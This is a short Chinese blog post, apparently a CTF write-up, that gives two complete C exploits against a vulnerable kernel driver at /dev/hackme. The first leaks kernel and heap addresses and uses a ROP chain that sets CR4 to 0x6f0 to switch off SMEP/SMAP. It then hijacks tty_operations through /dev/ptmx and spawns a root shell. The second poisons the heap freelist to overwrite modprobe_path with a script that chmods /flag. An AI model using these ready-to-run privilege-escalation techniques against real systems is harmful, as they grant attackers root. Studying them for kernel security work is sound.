0
点赞
收藏
分享

微信扫一扫

kernel heap bypass smep,smap && 劫持modprobe_path

kernel heap bypass smep,smap && 劫持modprobe_path

​exp1​

​smep​​​:smep即用户数据不可执行,当 CPU 处于 ​​ring0​​​ 模式时,执行用户空间的代码会触发页错误,系统根据​​CR4​​​寄存器的第​​20​​​位判断内核是否开启​​smep​​​,为1时开启,为0时关闭(第21位是SMAP位)。
​​​smap​​:smap用户数据不可访问。

通过控制​​cr4​​​寄存器为​​0x6f0​​即可绕过。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};

int fd;

struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
};

void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
}

void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
}

void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
}

void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
}


void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
}

void get_shell()
{
if (getuid() == 0)
{
puts("[*] get root");
system("/bin/sh");
}
else
{
puts("[-] get root error");
sleep(3);
exit(0);
}
}

void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
}


int main()
{
save_status();

char buf[0x1000] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0};

fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
}

add(0, 0x2e0, buf); // 0
add(1, 0x2e0, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
delete(0);
delete(2);

show(3, 0x100, -0x100, buf);
size_t heap_addr = ((size_t *)buf)[0] - 0x200;
printf("[+] heap_addr=> 0x%lx\n", heap_addr);

int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(3);
exit(0);
}

show(1, 0x400, -0x400, buf);
vmlinux_base = ((size_t *)buf)[3] - 0x625d80;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
off = vmlinux_base - raw_vmlinux_base;
commit_creds = off + 0xffffffff8104d220;
prepare_kernel_cred = off + 0xffffffff8104d3d0;

int i = 0;
rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
rop[i++] = 0x6f0;
rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

add(2, 0x100, (char *)rop);

fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret;

fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;
fake_tty_operations[1] = heap_addr;

((size_t *)buf)[3] = heap_addr + 0x100;

delete(3);
add(3, 0x100, (char *)fake_tty_operations);

edit(1, 0x400, -0x400, buf);

write(fd_tty, "FXC", 3);
return 0;
}

​exp2​

​mod_tree​​:可以泄露驱动地址,当堆栈中找不到时可以来这里查找。

​modprobe_path​​​:当我们执行一个非法文件时,就会以​​root​​​权限去执行​​modprobe_path​​​所指向的文件,通常是指向​​/sbin/modprobe​​​,如果改成我们创建的​​cat flag​​​的文件,那么就可以拿到​​flag​

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>

int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;

struct Heap{
size_t index;
char *data;
size_t len;
size_t offset;
};

void add(int index, size_t len, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
ioctl(fd, 0x30000, &heap);
}

void delete(int index)
{
struct Heap heap;
heap.index = index;
ioctl(fd, 0x30001, &heap);
}

void edit(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30002, &heap);
}

void show(int index, size_t len, size_t offset, char *data)
{
struct Heap heap;
heap.index = index;
heap.data = data;
heap.len = len;
heap.offset = offset;
ioctl(fd, 0x30003, &heap);
}

void get_flag()
{
puts("[+] Prepare shell file.");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
system("chmod +x /shell.sh");

puts("[+] Prepare trigger file.");
system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
system("chmod +x /FXC");

system("cat /proc/sys/kernel/modprobe");
system("/FXC");
system("cat /flag");

sleep(5);
}

int main()
{
fd = open("/dev/hackme",0);
if(fd < 0)
{
puts("[-] open file error");
sleep(3);
exit(0);
}

char buf[0x1000] = {0};

add(0, 0x100, buf); // 0
add(1, 0x100, buf); // 1
add(2, 0x100, buf); // 2
add(3, 0x100, buf); // 3
add(4, 0x100, buf); // 4

delete(1);
delete(3);

show(4, 0x100, -0x100, buf);
heap_base = ((size_t *)buf)[0] - 0x100;
printf("[+] heap_addr=> 0x%lx\n", heap_base);

show(0, 0x200, -0x200, buf);
vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;
printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
mod_tree = vmlinux_base + 0x811000;
modprobe_path = vmlinux_base + 0x83f960;

memset(buf,'\x00',0x100);
((size_t *)buf)[0] = mod_tree + 0x40;
edit(4, 0x100, -0x100, buf);

add(5, 0x100, buf); // 5
add(6, 0x100, buf); // 6

show(6, 0x40, -0x40, buf);
ko_base = ((size_t *)buf)[3];
printf("[+] ko_base=> 0x%lx\n", ko_base);

delete(2);
delete(5);

getchar();
((size_t *)buf)[0] = ko_base + 0x2400 + 0xc0;
edit(4, 0x100, -0x100, buf);

add(7, 0x100, buf); // 7
add(8, 0x100, buf); // 8

((size_t *)buf)[0] = modprobe_path;
((size_t *)buf)[1] = 0x100;
edit(8, 0x10, 0, buf);

strncpy(buf, "/shell.sh\x00", 0xa);
edit(12, 0xa, 0, buf);

get_flag();
return 0;
}


作者:{狒猩橙}



举报

相关推荐

0 条评论